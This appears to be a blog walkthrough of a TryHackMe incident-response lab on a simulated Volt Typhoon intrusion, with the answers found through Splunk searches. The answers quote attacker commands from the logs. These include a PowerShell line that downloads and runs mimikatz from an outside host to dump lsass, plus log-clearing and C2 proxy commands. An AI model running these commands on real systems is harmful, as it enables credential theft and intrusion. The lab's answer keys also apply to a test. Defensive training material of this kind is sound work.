# Volt Typhoon-TryHackMe Walkthrough

Investigate a suspected intrusion by the notorious APT group Volt Typhoon\\

## **Task 1:IR Scenario**

**Volt Typhoon**

**Scenario**: The SOC has detected suspicious activity indicative of an advanced persistent threat (APT) group known as Volt Typhoon, notorious for targeting high-value organizations. Assume the role of a security analyst and investigate the intrusion by retracing the attacker’s steps.

You have been provided with various log types from a two-week time frame during which the suspected attack occurred. Your ability to research the suspected APT and understand how they maneuver through targeted networks will prove to be just as important as your Splunk skills.

## **Task 2:Initial Access**

> ***Comb through the ADSelfService Plus logs to begin retracing the attacker’s steps. At what time (ISO 8601 format) was Dean’s password changed and their account taken over by the attacker?***

![](https://miro.medium.com/v2/resize:fit:1250/1*eYaCdIMuBzYsoNVBU7-lEQ.png align="center")

![](https://miro.medium.com/v2/resize:fit:1250/1*u4FdRvj9eBeg43UTxoxoHw.png align="center")

***Ans: 2024–03–24T11:10:22***

> ***Shortly after Dean’s account was compromised, the attacker created a new administrator account. What is the name of the new account that was created?***

![](https://miro.medium.com/v2/resize:fit:1250/1*tBziLL344zeTU7WGh-R1OA.png align="center")

***Ans: voltyp-admin***

## **Task 3:Execution**

> ***In an information gathering attempt, what command does the attacker run to find information about local drives on server01 & server02?***

![](https://miro.medium.com/v2/resize:fit:1250/1*zTAOoIQwfwZnVJridr3rvQ.png align="center")

***Ans: wmic /node:server01, server02 logicaldisk get caption, filesystem, freespace, size, volumename***

> ***The attacker uses ntdsutil to create a copy of the AD database. After moving the file to a web server, the attacker compresses the database. What password does the attacker set on the archive?***

![](https://miro.medium.com/v2/resize:fit:1250/1*YENi2YZ6h2tWZGhoJdl9FQ.png align="center")

***Ans: d5ag0nm@5t3r***

## **Task 4:Persistence**

> ***To establish persistence on the compromised server, the attacker created a web shell using base64 encoded text. In which directory was the web shell placed?***

just went on with searching .aspx a common web shell on Windows IIS

![](https://miro.medium.com/v2/resize:fit:1250/1*ty5NSUGrkIm_GOJDBhQGig.png align="center")

certutil is used to decode a suspicious .ini file in temp

certuil is a native Windows command-line utility used to manage Certification, attackers use it for malicious purpose

index=\* *ntuser.ini*

![](https://miro.medium.com/v2/resize:fit:1250/1*Gen2wKEl8PC0ggCu6mCmCQ.png align="center")

***Ans: C:\\Windows\\Temp\\***

## **Task 5:Defense Evasion**

> ***In an attempt to begin covering their tracks, the attackers remove evidence of the compromise. They first start by wiping RDP records. What PowerShell cmdlet does the attacker use to remove the “Most Recently Used” record?***

![](https://miro.medium.com/v2/resize:fit:1250/1*y8cGO1KV6schjgnbMpbTag.png align="center")

`MRU0` → recent command

The Remove-ItemProperty cmdlet deletes a specific registry value. In this case, it removes the MRU0 entry from the RunMRU key, which represents the most recently executed command in the Run dialog, thereby hiding evidence of command execution such as mstsc(rdp cli)

***Ans: Remove-ItemProperty***

> ***The APT continues to cover their tracks by renaming and changing the extension of the previously created archive. What is the file name (with extension) created by the attackers?***

![](https://miro.medium.com/v2/resize:fit:1250/1*8jhEhpyXwAnc3s9V0YUObw.png align="center")

***Ans: cl64.gif***

> ***Under what regedit path does the attacker check for evidence of a virtualized environment?***

rex field=\_raw “CommandLine=(?<FullCommandLine>\[^\\n\]+)” fixes the parsing issue with commandline

![](https://miro.medium.com/v2/resize:fit:1250/1*ahjyWMpbVZtllvtRKDG9zQ.png align="center")

***Ans: HKEY\_LOCAL\_MACHINE\\SYSTEM\\CurrentControlSet\\Control***

## **Task 6:Credential Access**

> ***Using reg query, Volt Typhoon hunts for opportunities to find useful credentials. What three pieces of software do they investigate?  
> Answer Format: Alphabetical order separated by a comma and space.***

![](https://miro.medium.com/v2/resize:fit:1250/1*FjSGcN3CHa-1TXsLgoWznw.png align="center")

***Ans: OpenSSH, putty, realvnc***

> ***What is the full decoded command the attacker uses to download and run mimikatz?***

![](https://miro.medium.com/v2/resize:fit:1250/1*L5aT-K_yiMDO6gI4FzsHHQ.png align="center")

use cybercef to decode

***Ans: Invoke-WebRequest -Uri “***[***http://voltyp.com/3/tlz/mimikatz.exe***](http://voltyp.com/3/tlz/mimikatz.exe)***" -OutFile “C:\\Temp\\db2\\mimikatz.exe”; Start-Process -FilePath “C:\\Temp\\db2\\mimikatz.exe” -ArgumentList @(“sekurlsa::minidump lsass.dmp”, “exit”) -NoNewWindow -Wait***

## **Task 7:Discovery & Lateral Movement**

> ***The attacker uses wevtutil, a log retrieval tool, to enumerate Windows logs. What event IDs does the attacker search for?***

![](https://miro.medium.com/v2/resize:fit:1250/1*ytLg6zmFmStjuyIk3vNMUw.png align="center")

***Ans: 4624 4625 4769***

> ***Moving laterally to server-02, the attacker copies over the original web shell. What is the name of the new web shell that was created?***

since we already know the name of the shell is iisstart.aspx

![](https://miro.medium.com/v2/resize:fit:1250/1*xP_0ubPPmweeA-HmhPR0IA.png align="center")

***Ans: AuditReport.jspx***

## **Task 8:Collection**

> ***The attacker is able to locate some valuable financial information during the collection phase. What three files does Volt Typhoon make copies of using PowerShell?***

![](https://miro.medium.com/v2/resize:fit:1250/1*Cv-lsLu2OdIsL_QZghMjOQ.png align="center")

***Ans: 2022.csv 2023.csv 2024.csv***

## **Task 9:C2 & Cleanup**

> ***The attacker uses netsh to create a proxy for C2 communications. What connect address and port does the attacker use when setting up the proxy?***

![](https://miro.medium.com/v2/resize:fit:1250/1*SjFPn50bqnbaYUBZeKUz2A.png align="center")

***Ans: 10.2.30.1 8443***

> ***To conceal their activities, what are the four types of event logs the attacker clears on the compromised system?***

we already know that the attacker uses wevtutil

![](https://miro.medium.com/v2/resize:fit:1250/1*Z-wAgr4yZqt--7_yOgnJWg.png align="center")

***Ans: Application Security Setup System***

**THANK YOU FOR READING!!! ❤️💫**